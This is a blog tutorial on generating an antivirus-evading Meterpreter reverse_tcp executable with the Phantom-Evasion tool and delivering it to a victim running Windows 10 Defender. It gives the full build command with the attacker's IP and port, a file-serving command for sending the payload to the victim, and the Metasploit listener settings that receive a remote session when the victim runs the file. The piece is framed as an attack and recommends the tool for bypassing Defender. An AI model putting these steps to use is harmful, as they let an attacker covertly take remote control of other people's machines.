Hey Folks, today we are going to discuss over the same topic over which we had discuss in our previous article called “how to bypass windows 10 defender” but in this tutorial, we will use different tool called “Phantom-Evasion”. Phantom-Evasion is an antivirus evasion tool written in python (both compatible with python and python3) capable to generate (almost) fully undetectable executable even with the most common x86 msfvenom payload.
Let’s take a look 😛 !!
It is very easy to install and configure this tool. First we will download this tool using git command. After the download is complete we will go inside the downloaded file, allow executable permission and execute the last command to establish dependencies.
git clone https://github.com/oddcod3/Phantom-Evasion.git
chmod +x ./phantom-evasion.py
That’s it 😛 !! The tool has been successfully configured even you can check all the features and usage guide using the help command.
CLI Version ( Recommended )
If you really want to defeat windows 10 defender, we recommend you to use the CLI version of this tool without any doubt. Just change the IP address, port number, and payload name from the following command according to you. Execute it 🙂 !!
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.13 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
Done 😛 !! If the payload is ready to share the victim, then start the python file sharing service using the following command.
python -m SimpleHTTPServer
You can see that the victim has enabled window defender protection to protect themselves against viruses or trojans.
OMG 😛 !! It is surprising to see that the payload is completely unrecognizable by windows 10 defender. No security warning pops up even when the victim clicks on the payload. Really it completely true “Fully Undetectable Payload“.
Wondering 😛 !! As soon as the victim clicks on the application to setup it, we have that user’s meterpreter session.
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.13
set lport 4444
Wait 😛 !! In addition, you can use this interface to manage it and create a full undetectable payload.
Results : We would highly recommend you to use this tool to bypass window 10 defender.
A keen learner and passionate IT student. He has done Web designing, CCNA, RedHat, Ethical hacking, Network & web penetration testing. Currently, he is completing his graduation and learning about Red teaming, CTF challenges & Blue teaming.